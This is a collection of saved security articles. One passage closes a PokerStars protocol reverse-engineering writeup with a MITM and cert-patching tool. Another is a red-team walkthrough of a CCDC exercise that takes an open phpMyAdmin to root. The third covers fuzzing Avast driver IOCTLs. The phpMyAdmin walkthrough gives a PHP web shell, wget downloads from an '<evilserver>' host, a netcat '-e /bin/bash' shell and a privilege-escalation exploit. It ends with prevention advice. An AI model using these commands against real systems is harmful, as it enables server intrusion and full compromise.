    0020 32 00 41 6c 74 31 4c 6f 62 62 79 53 65 72 76 65| 2.Alt1Lo bbyServe   
    0030 72 49 6e 73 74 61 6e 63 65 00 53 68 61 64 6f 77| rInstanc e.Shadow   
    0040 54 6f 75 72 6e 61 6d 65 6e 74 73 50 75 62 6c 69| Tourname ntsPubli   
    0050 73 68 65 72 30 00 00 00 00 00 00 00 00 00 00 00| sher0... ........   
    0060 00 00 00 00 00 00 00 00 00 00 | ........ ..   
    <- 2048 bytes:    
    0000 08 00 81 00 0d 6a 54 06 00 00 39 33 60 10 02 d7| .....jT. ..93`...   
    0010 4e 7c e2 06 00 00 00 00 02 95 f3 10 30 00 00 1b| N|...... ....0...   
    0020 18 4a 72 d0 48 eb 65 b3 2d 00 00 00 00 00 02 00| .Jr.H.e. -.......   
    0030 00 00 00 01 02 95 f3 10 11 5b 00 00 e3 61 43 02| ........ .[...aC.   
    0040 8f fd 1b 00 02 ff 00 e3 61 44 00 e3 61 44 ff 00| ........ aD..aD..   
    0050 00 00 85 0b 0b 60 df 69 70 3a 36 36 2e 32 31 32| .....`.i p:66.212   
    0060 2e 32 32 35 2e 31 37 3a 32 36 30 30 32 00 00 00| .225.17: 26002...   
    0070 00 00 00 00 00 00 00 00 00 00 06 e0 00 00 00 f0| ........ ........   
    0080 00 00 00 00 00 00 80 32 30 20 50 4c 20 42 61 64| .......2 0.PL.Bad   
    0090 75 67 69 00 00 00 00 00 00 00 00 00 00 08 44 60| ugi..... ......D`   
    00a0 02 d0 01 00 02 00 00 00 03 00 00 00 10 ff ff ff| ........ ........   
    00b0 ff 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00| ..@..... ........   
    00c0 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 09| ........ ........   
    00d0 45 55 52 00 00 00 00 00 ff 00 e3 61 45 02 8f fd| EUR..... ...aE...   
    00e0 1b ff 00 00 00 08 00 00 01 80 00 00 00 01 00 00| ........ ........   
    00f0 e3 61 46 02 71 f0 93 00 02 ff 00 e3 61 47 00 e3| .aF.q... ....aG..   
    0100 61 47 ff 00 00 00 85 0b 0b 60 e0 69 70 3a 36 36| aG...... .`.ip:66   
    0110 2e 32 31 32 2e 32 32 35 2e 31 37 3a 32 36 30 30| .212.225 .17:2600   
    0120 32 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 6e| 2....... .......n   
    0130 00 00 01 4a 00 00 00 00 00 00 80 33 30 20 50 4c| ...J.... ...30.PL   
    0140 20 42 61 64 75 67 69 00 00 00 00 00 00 00 00 00| .Badugi. ........   
    0150 00 08 44 60 02 d0 01 00 02 00 00 00 03 00 00 00| ..D`.... ........   
    --snip--   
    <- 2048 bytes:    
    0000 08 00 01 06 44 00 02 d7 02 00 03 00 00 00 09 00| ....D... ........   
    0010 00 00 10 ff ff ff ff 80 00 00 00 00 00 00 00 00| ........ ........   
    0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00| ........ ........   
    0030 00 00 00 00 00 09 45 55 52 00 00 00 00 04 ff 00| ......EU R.......   
    0040 e3 61 9f 02 7e 31 23 ff 00 00 00 08 00 00 01 80| .a..~1#. ........   
    0050 00 00 00 00 00 00 e3 61 a3 02 8d 14 01 00 02 ff| .......a ........   
    0060 00 e3 61 a4 00 e3 61 a4 ff 00 00 00 b5 0b 0b 61| ..a...a. .......a   
    0070 05 69 70 3a 36 36 2e 32 31 32 2e 32 32 35 2e 31| .ip:66.2 12.225.1   
    0080 37 3a 32 36 30 30 32 00 00 00 00 00 00 00 00 00| 7:26002. ........   
    0090 00 00 00 00 24 40 00 00 02 d0 00 00 00 00 00 00| ....$@.. ........   
    00a0 80 31 30 30 20 4e 4c 20 48 6f 6c 64 27 65 6d 20| .100.NL. Hold'em.   
    00b0 5b 48 65 61 64 73 2d 55 70 20 3c 62 3e 54 75 72| [Heads-U p.**Tur  
     00c0 62 6f 3c 2f 62 3e 20 31 36 20 50 6c 61 79 65 72| bo**.1 6.Player   
    00d0 73 5d 00 80 31 30 30 20 54 69 63 6b 65 74 00 00| s]..100. Ticket..   
    --snip--   
    
    
[/code]

I've truncated two of these, because the actual data doesn't much  
matter here. First and foremost, look at the first two bytes of each  
packet. It's a 16-bit value corresponding to the packet size. At  
first, I believed they had the compressed size \(outside\) and  
decompressed size \(inside\) for verification purposes, but a little  
later I discovered that they'd combine packets where possible. A  
single compressed packet can contain multiple packets, and they'll  
push it up to the 65536 bytes before compression \(no logic for  
combining more intelligently\).

Next up comes a flags byte. This I determined by guess and check  
largely. The breakdown is:

  * Flags & 0xC0 == 0x80: Beginning of a message chain. If the next byte is 0, there are 4 unknown bytes following.
  * Flags & 0x40 == 0x40: End of a message chain.

If the flags byte is anything else, it's a message in the chain \(if  
it's placed in a chain\) or a self-standing message. From here, we'll  
refer to 'message' as the raw data inside the transport stream. That  
is, everything from the flags byte+1 \(or +5, in the case of it being  
the start of a message chain and the flags+1 byte being 0 as indicated  
above\) onward, including additional messages in the chain.

Looking at the messages, we'll see some repetition in byte 2. I  
guessed that this was the opcode field indicating the type of message,  
and some quick verification shows this is most likely the case. One  
other interesting thing is that there's an incrementing ID that is  
shared by the client and server. With a little detective work, you  
can see that if byte 1 is 0, the ID is from 3-7 \(exclusive\), otherwise  
it's 1-5. By looking at the plaintext that's sent, you can see that  
the ID is incremented by the client when creating a new request chain,  
and is used by both sides for the duration of that chain. For  
instance, you can see that the ID in the packets above is 0x33601002.  
You can also see that the second packet is a new chain and the third  
packet is a continuation \(it's not the final packet\).

Now that we have all this, a clear picture of the transport itself is  
beginning to form, but here's something unusual: most packets have the  
same opcodes. Lots of 0x38s, 0x11s, etc. This baffled me for a  
little while, before I went back and looked at the initial packets,  
where it was requesting 'server instances' and such. After this, a  
light clicked on in my head, and I realized that the entire PokerStars  
protocol is a series of client-server connections funneled through one  
of a long line of frontend load-balancing servers.

A little bit more digging around told me the following about these  
connections: \(note the --> and -<\- conventions for  
client->server and vice versa\)

  * -> 0x10: A sort of async method call, only used initially.
  * -> 0x38: Establish a connection to a service provider, from which streaming lobby, tournament, table, etc data is received.
  * <\- 0x39: Response to a connection. Seems to have some sort of header with connection info before the data starts streaming in.

From this, I began to piece together the protocol and how the  
client/server could be implemented. I wrote a web-based protocol  
viewer and started pouring over logs.

In the Github repo you'll find the following:

  * LZHL: VC++ source tree, compiled dll, and Python wrapper.
  * PSHooker and runpstars.bat: This is an application using my Nethooker library to redirect the PokerStars connection to the MITM/emulator. You'll likely need to edit the binary path in runpstars.bat, and you need to add a HOSTS entry pointing 'pshack.com' to 127.0.0.1 to make it work.
  * pmitm.py: This is the meat of the codebase. It writes out log.txt containing the raw packet data for consumption by the web interface and gives hex dumps of the packets over stdout.
  * patchCerts.py: This patches the PokerStars binary to use the unofficial certs. Run with: python26 patchCerts.py path/to/PokerStars.exe path/to/newpokerstars.exe officialcert.pub mitmcert.pub
  * WebPoker: Pylons project to view the packets. Edit WebPoker/webpoker/lib/Protocol.py to point it at the location of logs.txt from pmitm.

I hope this was clear and that you got something out of it. There's a  
lot more to rip apart, and I hope to give more \(and better\) examples  
in the future.

Thanks for reading, and happy hacking,  
\- Cody Brocious \(Daeken\)

# phpmydamin foo

**Created:**| _11/24/2009 12:17:57 PM_  
---|---  
**Updated:**| _11/24/2009 12:18:17 PM_  
**Author:**| __  
**Tags:**| _attacks Exploit analysis vulnerability_  
  

# <img src='img/Temp2_10562.png' />Exploiting phpMyadmin: How to Get root in
15 Easy Steps

By Seth Fogie

Date: Nov 20, 2009

Article is provided courtesy of Addison-Wesley Professional.

Return to the article

* * *
Welcome to the new world in security. In the 21st century, hackers have moved
beyond network devices and services and are now focused on web applications.
Security expert Seth Fogie, contributing author for Practical Intrusion
Analysis: Prevention and Detection for the Twenty-First Century, provides you
with this real-world illustration of a how a simple overlooked account can
lead to root access.

* * *
Welcome to the new world in security. It used to be all about network devices
and services. However, thanks to the evolution of the firewall and IDS, the
concept of border security has changed. In this new world of security, the
edge has been redefined. Firewalls: host-based protection; wireless devices:
so old school. In the 21st century, hackers are focused on web applications,
and that is exactly why we decide to provide you with this real-world
illustration of a how a simple overlooked account can lead to root access.

## CCDC Overview

The Collegiate Cyber Defense Competition \(CCDC\) is designed to give college
and university students an extreme taste of what it feels like to be a
system/network administrator. The competitors are provided a small network of
servers/desktops that host a wide range of applications, many of which are
insecure. To raise the stress level and encourage teamwork, the students not
only have to update and lock down their systems but they have to do it while a
group of hackers are doing their best to infiltrate the network. In addition
to all this, the teams are tasked with “business injects” that range from
simple chores like the addition of an account to the difficult, such as
programming a web application from scratch. For more information on these
events and how they play out, check out the following links:

  * A Student-Hacker Showdown at the Collegiate Cyber Defense Competition
  * A Student-Hacker Rematch at the Second Annual Collegiate Cyber Defense Competition
  * The Collegiate Cyber Defense Competition Year 3: Revenge of the Red Cell

The information discussed in these articles is the result of one such CCDC
event in which I served as a member of the red cell. Thanks to Paul Assadorian
of Pauldotcom.com and Rob Fuller of mubix.com for their assistance at the
CCDC, to White Wolf Security for creating and maintaining the gaming
environment, and to CyberWATCH and Baltimore Community College for supporting
and hosting the event.

## An Open Door

It all begins with a basic error. In this case, the entry point was a default
installation of phpMyAdmin, which is a GUI based interface for MySQL, the
powerful database application that is considered the standard for open source
junkies. Specifically, this gaping hole was a result of a standard XAMPP
installation, which leaves phpMyAdmin wide open and available to anyone who
happens to find it. Unfortunately for the server administrator, the hole was
enough to give the red cell all that was needed to launch a multi-staged
exploitation session that eventually led to root access of the target system.

As previously mentioned, phpMyAdmin is only a front end to MySQL. Ironically,
thanks to the lack of a valid user account in MySQL, the database engine was
secure against remote MySQL requests over port 3306. Yet, thanks to the web-
based phpMyAdmin GUI, full control over the database was not only trivial, but
simplified. The first step in the attack was to add a user with full
read/write access to the databases hosted by MySQL. While not a necessary
“hack” in this narrative, it is always a good idea to get your tentacles into
a system in a variety of ways, just in case one of the entry points is
discovered.

To add a user, simply click on the Privileges link on the main page, and then
Add User. Type in a non-descript user name \(e.g., **mysql** , **backup** ,
**sqlbu**\), enter your password, ensure you grant the user global access, and
save it. Once added, take note of the back door and continue through the wide
open front door for simplicity’s sake\!

Because the default installation of phpMyAdmin gives the user full access to
the rather powerful MySQL commands, the next step is to create a back door to
the server itself. There are many ways to do this, the simplest of which is to
execute the following command via the SQL query option in phpMyAdmin:

[code]

    select “<? System($_REQUEST[‘cmd’]); ?>” into outfile “/opt/lampp/htdocs/cmd.php”;
    
[/code]

This command will create a file named cmd.php in the root directory of the
resources made available by XAMPP. If the phpMyAdmin was not installed in
conjunction with this all-in-one package, then you might need to point your
outfile to the /var/www/html/ directory or another folder commonly used by
Apache to store the web page files. Once you do successfully create the file,
you now have pseudo command-line access to the target system\[md\]albeit a bit
lacking when it comes to ease of use.

Because the user experience is a top priority, the next step is to upgrade the
minimalistic “shell” into something a bit more powerful and robust. One method
is to install a PHP-based back door into the system that can provide a remote
attacker with countless features and functions. A wide variety of these PHP
shell emulators are available online, but in this case we will illustrate the
c99madshell v2.

The first step is to download the shell and store it on a remotely accessible
server that the target system can access. Make sure that you DO NOT upload the
PHP shell to your server as a \*.php file. While malicious hackers will
typically use a drop point they have previous hacked to store these files,
penetration testers are probably going to use a personal site. If the site
administrator is diligent and notices the attack, he or she will check the
logs, which will point right back to the attacker’s server. Storing a backdoor
shell script in its native format will then give the inquisitive administrator
shell access to that system, not to mention anyone else who might find it\!
So, it is best to store the file as a .txt file or something equally as
benign. The following command will download the Madshell php file to the
target system:

[code]

    http://<target>/cmd.php?cmd=wget http://<evilserver>/c99madshell.txt –O madshell.php
    
[/code]

Figure 1 illustrates the end result. Ironically, these PHP-based back doors
are actually very useful as a remote web-based administrator tool\[md\]even if
they are intended for malicious activities.

<img src='img/Temp2_10560.png' width='90' height='100' />

Figure 1 c99madshell v.2.0

From here, the options are up to the imagination of the attacker. However,
keep in mind that any system-level code that is executed will be done so
within the context of a reduced privileged account, typically either nobody or
apache. In other words, unless the “root” account executed the web server
\(highly unlikely, but not impossible\), any commands sent via the PHP shell
will be limited. As a result, escalated privileges are highly desired.
Unfortunately, obtaining such privileges can often be a daunting task
depending on the administrator’s ability to keep the target system patched.
Yet, where there is a will there is a way\[el\]as the following illustrates.

Step one is to figure out what version of software you are dealing with. This
is important because there is a high chance that if the system kernel level
can be determined, then you can also locate a privilege escalation exploit. To
narrow down our possible exploits, you will need to perform a bit of system
probing via `cat` commands. Specifically, the following should help:

[code]

    cat /etc/*-release
    cat /etc/*-version
    uname –version
    cat /etc/issue
    
[/code]

Chances are rather high that you will discover what system and kernel version
is running on the target system. The following are the `help` commands provide
by using the `uname –help` command:

[code]

    -a Display all possible information. Invokes all other options except -S. 
    -m Display the name of the hardware. (i.e. 68020, 386i, 3B20) 
    -n Display the network nodename. The nodename is the name the system is known by on a network. 
    -p Display processor type (i.e. i386, 68020, 68030, SPARC, R3000). 
    -r Display the release number of the operating system. 
    -s Display the name of the UNIX system. This option is the default; if no other 
     options are listed, it is used. 
    -v Display the version of the UNIX system. The version is usually set by the local 
     system administrator. 
    -S The super-user may change the system name and the nodename by using the -S option. The system 
     name can only contain eight characters. Not supported on some systems.
    
[/code]

At this point, you will need to analyze the results and build a mirrored
attack environment. While this may seem like a lot of extra work, the best way
to infiltrate a target system is to emulate it, create an attack scenario
based upon the test system, and then launch that attack against the target
network.

## Netcat Support

Netcat is considered the “TCP/IP Swiss Army Knife” due to its incredible
flexibility and power. While the entire potential of Netcat is beyond the
scope of this article, it is definitely within context to illustrate how an
attacker can leverage Netcat to gain shell access, and thus a more powerful
interface, to the target system.

There is a small chance that the target system may have Netcat installed. To
test this, simply execute the following:

[code]

    http://<target>/cmd.php?cmd=wget http://<evilserver>/cmd.php?cmd=nc –h
    
[/code]

or

[code]

    http://<target>/cmd.php?cmd=wget http://<evilserver>/cmd.php?cmd=netcat –h
    
[/code]

If the browser fills with a bunch of text relating the Netcat’s usage, then
you can skip the next step. Otherwise, from your mirrored test environment,
download the Netcat source files from http://netcat.sourceforge.net, configure
and compile the code, and transfer the binary to a remote web server under
your control.

Once this step is complete, transfer it to the target system using the
following command:

[code]

    http://<target>/cmd.php?cmd=wget http://<evilserver>/netcat –O netcat
    
[/code]

Now that the file is on the server, you need to change its “mode.” Although
the Netcat file might execute on your test environment, when it is transferred
to the target system, the executable properties of the file are lost.
Fortunately, this is easy to update via the following command:

[code]

    http://<target>/cmd.php?cmd=chmod 777 netcat
    
[/code]

This command changes the mode of the file to permit anyone to read the file,
change the file, or execute the file. For more details on this command, check
out http://en.wikipedia.org/wiki/Chmod.

With the files mode properly set, you can now execute it to create a listener
on the target system that will grant you command-line access. To do this,
execute the following:

[code]

    http://<target>/cmd.php?cmd=./netcat -l -vvv -p 12345 –e /bin/bash
    
[/code]

This command tells Netcat to listen \(`-l`\) on port 12345 \(`-p`\), to be
very verbose in response \(`-v`\), and to execute \(`-e`\) the incoming text
through the bash shell \(`/bin/bash`\). The end result looks like what appears
in Figure 2.

<img src='img/Temp2_10563.png' width='100' height='73' />

Figure 2 Connecting to Netcat listener to view /etc/passwd

## Getting Root

At this point, we have the capability to access the system via the command
line or the madshell.php back door. While this does give us a rather
significant amount of access to the target system, you are still a limited
user. For example, you can’t read the shadow password file \(/etc/shadow\),
install an application, change settings, add users, etc. To do this, you need
to have root access.

Because you simply can’t request root access from the target’s administrator,
you have to find an alternate method of escalating your privileges.
Fortunately, a large number of exploits are available that can give you that
capability. The only obstacle to success is to find one that matches the
target’s environment, which can be challenging. Thankfully, one such exploit
worked rather well against the target system: the do\_brk exploit.

The best way to obtain a working binary that can perform this exploit is to
compile exploit code on your mirrored system and transfer it over to your
target system via Netcat or a `wget` command. Again, this highlights the
importance of reconnaissance and the added value that a test environment can
provide.

With the binary transferred to the target system, exploiting the vulnerability
is as simple as typing **./do\_brk** \(in our case\) via Netcat. To verify
that it worked, type **whoami** at the command line or via the PHP shell. If
the results come back with a `root` value, then you have successfully “rooted”
your target, and the game is over.

## The Visuals

The following video details the steps taken to turn an unprotected phpMyAdmin
interface into root access. Also included are the various URLs and commands in
line for your review.

<img src='img/Temp2_10561.png' />

**You need to upgrade your Flash Player.** You need version 9 or above to view
this video. You may download it here. You may also see this message if you
have JavaScript turned off. If this is the case, please enable JavaScript and
reload the page.

Download this .mpg file \(49.6 MB\)

  1. `http://<target>`
  2. `http:// <target>/phpmyadmin`
  3. `select "<? system($_REQUEST['cmd']); ?>" into outfile "/opt/lampp/htdocs/cmd.php";`
  4. `http:// <target>/cmd.php?cmd=wget http:// <evil server>/madshell.txt –O madshell.php`
  5. `http:// <target>/madshell.php`
  6. `http:// <target>/cmd.php?cmd=wget http:// <evil server>/netcat.txt –O netcat`
  7. `http:// <target>/cmd.php?cmd=chmod 777 netcat`
  8. `execute ./nc -l -vvv -p 12345 -e /bin/bash`
  9. Windows `cmdline nc <target>12345`
  10. `http:// <target>/cmd.php?cmd=wget http://<evil server>/do_brk-exploit.txt –O do_brk`
  11. `http:// <target>/cmd.php?cmd=chmod 777 do_brk`
  12. `http:// <target>/cmd.php?cmd=ls –l`
  13. Target `cmdline whoami`
  14. Target `cmdline ./do_brk`
  15. Target `cmdline whoami`

## Prevention

Now that we have illustrated how a default phpMyAdmin installation can be
turned into root access for an attacker, let’s look at a few tips on how this
attack could have been prevented.

First, ensure you change all default passwords on newly installed
applications. In the case of XAMPP, many people overlook the fact that there
is a MySQL administration tool, and as a result never secure it.

Second, prior to installing PHP, be sure to understand the configuration
files. This attack could have been prevented by enabling Safe Mode, which
would have restricted access to the “system” call. While this would have been
helpful in this particular case, enabling Safe Mode is not considered
foolproof because it can be bypassed via several unfiltered commands.

Third, the target system had no firewall in place. The attacker could have
been prevented from executing a useful Netcat listener if a properly
configured firewall was installed. Along the same lines, if a Tripwire type of
solution was installed, it would have detected and even blocked the attacks.

Fourth, this entire attack could have been prevented with a Web Application
Firewall \(WAF\), which could have detected the phpMyAdmin abuse, as well as
the creation of the PHP-based back door and its usage. However, the concept of
a WAF is not widely accepted as a valuable means for protecting web
applications from attacker. Fortunately, this misnomer is slowly being
disregarded, especially as more and more traditional applications are being
converted to web-based applications.

**NOTE**

For more information about the future of security and the detection of the
21st century attacker, check out the Informit article “Practical Intrusion
Analysis: Prevention and Detection for the Twenty-First Century.”

## Summary

In this article, we looked at how an attacker could turn a default
installation of phpMyAdmin into root access. It is important to note that we
took the scenic route to obtaining root access on the target system. In
reality, the attack could have been reduced to a much smaller set of commands,
which could be used in a program to automatically perform the attack in a few
seconds. Thanks again to the CCDC event and all the fun it offers to us
security professionals who enjoy a little legal pwnage from time to time\!

* * *
© 2009 Pearson Education, Inc. All rights reserved.

800 East 96th Street Indianapolis, Indiana 46240

# Device Drivers Vulnerability Research, Avast a real case « Evilcodecave’s
Weblog

**Created:**| _9/25/2009 5:11:58 PM_  
---|---  
**Updated:**| _9/25/2009 5:12:15 PM_  
**Author:**| __  
**Tags:**| _reversing analysis vulnerability_  
  

## Device Drivers Vulnerability Research, Avast a real case

In the past days I worked intensively on Antivirus’s Device Drivers bugs, at
the actual state of art the major part of well known AVs suffer of basical and
more hidden bugs. The totality of AVs that I’ve checked presents defects that
could be maliciously used to takeover an Antivirus Infrastructure and in some
case the entire Operating System with attacks like DoS and/or Remote/Local
Privilege Escalation.

I want to make a precisation here, exists an important difference between Bug
and Vulnerability, simply bugs does not affects the integrity of a system and
does not constitute a true danger. Vulnerabilities constitutes an effective
risk for systems integrity, included informations contained inside it. When we
are dealing with applications specifically devoted to security, every bug
could be considered a vulnerability, because an attacker could block/kill
overcome checks performed by the application itself and propagate in system
and produce damages. Just think to a basical crash that could affect an
Antivirus could be implemented into a malicious application that checks the
presence of AVs and induces the bug.

In this little post we are going to see some defects of last device drivers
used by Avast, I’m precisely talking of

  * Build Number: 4.8.1351.0

Avast loads the following drivers:

  * **Aasvmker4.sys**
  * **aswMon2.sys**
  * **aswRdr.sys**
  * **aswSP.sys**

Avast loads the following Drivers could be tested by fuzzing IOCTLs, for this
task could be used IOCTL Fuzzer and Kartoffel. Let’s disassemble the first
driver, Aavmker4.sys that from DeviceIoControl hook appears to be heavy used.
This is the DriverEntry\(\)drivers

00010748 mov eax, \[ebp+DriverObject\]  
0001074B push offset NotifyRoutine ; NotifyRoutine  
00010750 mov dword ptr \[eax+70h\], offset sub\_1098C ;
DriverObject->MajorFunction\[14\] = \(PDRIVER\_DISPATCH\)sub\_1098C;  
00010757 call PsSetCreateProcessNotifyRoutine

sub\_1098C contains the switch statement to handle various IOCTL
notifications, essentially IOCTL check is structured in form of nested If and
Switches.

001098C ; int \_\_stdcall sub\_1098C\(int, PIRP Irp\)  
000109C4 mov ecx, 0B2D6002Ch  
000109C9 cmp eax, ecx  
000109CB ja loc\_10D12  
000109D1 jz loc\_10CE9

Checks if IOCTL is less or equal to 0×0B2D6002C, if condition is true checks
if IOCTL is exactly 0×0B2D6002C a certain task is performed by the device
driver and finally ends with a classical  
epilogue:

IofCompleteRequest\(X, 0\);  
return value;

By monitoring Aavmker4.sys activity, with a DeviceIoControl hook emerges that
the most used IOCTLs are:

  * **0xB2D60030**
  * **0xB2D60034**

Now we have two possibilities the first is to fuzz these IOCTLs and check
crash dump if happens and after check code for more details, the second
possibility is to invert the check order.

This the xml configuration to test Aavmker4.sys

**< allow>**

**< drivers>**

**< entry>Aavmker4.sys</entry>**

**< /drivers>**

**< devices>**

**< entry>\Device\AavmKer4</entry>**

**< /devices>**

**<\!–**

**IRP I/O Control Code**

**–>**

**< ioctls>**

**< entry>0xb2d60030</entry>**

**< entry>0xb2d60034</entry>**

**< /ioctls>**

**< processes>**

**< entry>ashServ.exe</entry>**

**< /processes>**

**< /allow>**

launch fuzzer and Avast Scan, as you can see Driver resists to Fuzzing
attempts, its time to see code referred to 0xB2D60030 and 0xB2D60034.

**0xB2D60030**

00010D25 cmp eax, 0B2D60030h  
00010D2A jz short loc\_10DA8  
00010D2C cmp eax, 0B2D60034h  
00010D31 jz short loc\_10D5B

00010DC5 mov edi, \[ebx+0Ch\]  
00010DC8 cmp esi, 878h  
00010DCE jz short loc\_10DDA ;Check buffer size  
00010DD0 push offset aIoctl\_aavm\_sta ; “\*\*\*\*\*\*\*
IOCTL\_AAVM\_START\_REQUEST\_AND\_SE”…  
00010DD5 jmp loc\_10ABA ;Jump to Io Completion

If buffer size differs from 878h Dbg Prints an error message, else supplied
buffer is correctly sanitized via MmUserProbeAddress, MmIsAddressValid. We can
say that this IOCTL is correctly handled.

0xB2D60034:

00010D5B cmp esi, 8  
00010D5E jnz loc\_10AC0 ;If differs from 8 return STATUS\_INVALID\_PARAMETER  
00010D64 call PsGetCurrentProcessId

Now let’s test aswSP.sys. In Device Driver vulnerabilty research it’s
fundamental to have a complete log of all activities of a driver, this can be
obtained by correctly planning a battery of test unit. Each test should
correspond to a primitive logic operation performed by an application that
makes use of driver. I usually build several mini logs for each activity and
finally a complete log. Here a little list of monitoring primitives:

  * On Load
  * On apparent Idle
  * On Working
  * On Shutdown
  * Various, like On Surprise Stop

This will give us a complete report of all activities and involved IOCTL. In
the specific case of aswMon2.sys we can isolate the following:

  * 0xb2c80018
  * 0xb2c80014
  * 0xb2c80020
  * 0xB2c800C0
  * 0xB2c800C4
  * 0xB2c800C8

From IOCTL Logger we can see that 0xB2c800C0 is heavly used, time to locate
Ioctl Dispatcher:

0001178B and dword ptr \[ebx+34h\], 0  
0001178F mov dword ptr \[ebx+6Ch\], offset sub\_11FB6  
00011796 mov dword ptr \[ebx+28h\], offset off\_18988

C like:  
v2->DriverUnload = 0;  
v2->MajorFunction\[13\] = \(PDRIVER\_DISPATCH\)sub\_11FB6;  
v2->FastIoDispatch = \(PFAST\_IO\_DISPATCH\)&unk\_18988;

with a bit of research we land to sub\_10B82 that contains the switch for
Ioctls.

00010BBD mov eax, 0B2C80018h  
00010BC2 cmp ecx, eax  
00010BC4 push edi  
00010BC5 ja loc\_11066  
00010BCB jz loc\_10F70  
00010BD1 cmp ecx, 0B2C80008h  
00010BD7 jz short loc\_10C3C  
00010BD9 cmp ecx, 0B2C8000Ch  
00010BDF jz short loc\_10C16  
00010BE1 cmp ecx, 0B2C80010h  
00010BE7 jz short loc\_10BFF  
00010BE9 cmp ecx, 0B2C80014h  
00010BEF jnz loc\_111AC  
00010BF5 call sub\_108BC  
00010BFA jmp loc\_11055

From logs emerged that the most frequently used is 0B2C8000C so it’s obvious
that we will study this for first:

0xB2C8000C:

00010C16 cmp \[ebp+arg\_C\], 1448h  
00010C1D jnz loc\_111AC ;check len  
00010C23 mov esi, \[ebp+SourceString\]  
00010C26 mov ecx, 512h  
00010C2B mov edi, offset dword\_18A58  
00010C30 rep movsd  
00010C32 call sub\_108F0  
00010C37 jmp loc\_112C1 ;go out

In this case user supplied input is correctly sanitized, so 0xB2C8000C can be
excluded from fuzz testing. From the log On Shutdown emerged the massive
presence of 0xB2c80018, so let’s fuzz it. Here the configuration for IOCTL
Fuzzer:

**<?xml version=”1.0″ encoding=”windows-1251″?>**

**< cfg>**

**< log\_file>C:\ioctls.txt</log\_file>**

**< hex\_dump>true</hex\_dump>**

**< log\_requests>true</log\_requests>**

**< debug\_log\_requests>true</debug\_log\_requests>**

**< fuze\_requests>true</fuze\_requests>**

**< fuze\_size>true</fuze\_size>**

**< allow>**

**< drivers>**

**< entry>aswMon2.SYS</entry>**

**< /drivers>**

**< devices>**

**< entry>\Device\aswMon</entry>**

**< /devices>**

**< ioctls>**

**< entry>0xb2c80018</entry>**

**< /ioctls>**

**< processes>**

**< entry>ashServ.exe</entry>**

**< /processes>**

**< /allow>**

**< deny>**

**< drivers>**

**< entry>aswSP.SYS</entry>**

**< entry>Aavmker4.SYS</entry>**

**< entry>aswTDI.SYS</entry>**

**< /drivers>**

**< ioctls>**

**< entry>0xb2c8000c</entry>**

**< entry>0xb2c80014</entry>**

**< entry>0xb2c80020</entry>**

**< /ioctls>**

**< /deny>**

**< /cfg>**

The config script allows only 0xB2c80018 sent from aswMon, other drivers are
locked. Obviously fuzzing need to follow the log unit that evidenced out
IOCTL, so run fuzzer and stop all Avast services.

Bang..a BSOD, discovered an Avast vulnerability into aswMon2.sys <img
src='img/Temp2_2205.gif' alt=':)' />

From crashdump:

kd> \!analyze -v

UNEXPECTED\_KERNEL\_MODE\_TRAP\_M  
Arguments:  
Arg1: 00000008, EXCEPTION\_DOUBLE\_FAULT  
Arg2: 80042000  
Arg3: 00000000  
Arg4: 00000000\_KERNEL\_MODE\_TRAP\_M \(1000007f\)

STACK\_TEXT:  
WARNING: Stack unwind information not available. Following frames may be
wrong.  
f76f3234 8053d251 f76f3250 00000000 f76f32a4 nt+0×600fa  
f76f32a4 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251  
f76f3328 8052c793 41414141 00000000 f76f377c nt+0×55712  
f76f33a4 804fc700 f76f377c f76f3478 05050505 nt+0×55793  
f76f3760 8053d251 f76f377c 00000000 f76f37d0 nt+0×25700  
f76f37d0 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251  
f76f3854 8052c793 41414141 00000000 f76f3ca8 nt+0×55712  
f76f38d0 804fc700 f76f3ca8 f76f39a4 05050505 nt+0×55793  
f76f3c8c 8053d251 f76f3ca8 00000000 f76f3cfc nt+0×25700  
f76f3cfc 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251  
f76f3d80 8052c793 41414141 00000000 f76f41d4 nt+0×55712  
f76f3dfc 804fc700 f76f41d4 f76f3ed0 05050505 nt+0×55793  
f76f41b8 8053d251 f76f41d4 00000000 f76f4228 nt+0×25700  
f76f4228 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251  
f76f42ac 8052c793 41414141 00000000 f76f4700 nt+0×55712  
f76f4328 804fc700 f76f4700 f76f43fc 05050505 nt+0×55793  
f76f46e4 8053d251 f76f4700 00000000 f76f4754 nt+0×25700  
f76f4754 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251  
f76f47d8 8052c793 41414141 00000000 f76f4c2c nt+0×55712  
f76f4854 804fc700 f76f4c2c f76f4928 05050505 nt+0×55793  
f76f4c10 8053d251 f76f4c2c 00000000 f76f4c80 nt+0×25700  
f76f4c80 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251  
f76f4d04 8052c793 41414141 00000000 f76f5158 nt+0×55712  
f76f4d80 804fc700 f76f5158 f76f4e54 05050505 nt+0×55793  
f76f513c 8053d251 f76f5158 00000000 f76f51ac nt+0×25700  
f76f51ac 8052c712 badb0d00 20a0a0a1 f76f5658 nt+0×66251  
f76f5230 8052c793 41414141 00000000 f76f5684 nt+0×55712  
f76f52ac 804fc700 f76f5684 f76f5380 41414141 nt+0×55793  
f76f5668 8053d251 f76f5684 00000000 f76f56d8 nt+0×25700  
f76f56d8 f7756a04 badb0d00 8055b256 00000000 nt+0×66251  
f76f576c 41414141 41414141 41414141 41414141 aswMon2+0xa04  
f76f5770 41414141 41414141 41414141 41414141 0×41414141  
f76f5774 41414141 41414141 41414141 41414141 0×41414141  
f76f5778 41414141 41414141 41414141 41414141 0×41414141  
f76f577c 41414141 41414141 41414141 41414141 0×41414141  
etc..

here the evidece of buffer corruption.

0xB2D60018:

00010F70 cmp \[ebp+arg\_C\], 288h ;Insufficent input validation  
00010F77 jnz loc\_111AC  
00010F7D mov esi, \[ebp+SourceString\]  
00010F80 cmp \[esi\], ebx  
00010F82 mov \[ebp+arg\_C\], ebx  
00010F85 jz short loc\_10FEB  
00010F87 mov eax, dword\_18A48  
00010F8C cmp eax, 80h  
00010F91 jge loc\_11055  
00010F97 lea eax, \[eax+eax\*4\]  
00010F9A lea eax, unk\_231A4\[eax\*4\]  
00010FA1 mov \[ebp+arg\_10\], eax  
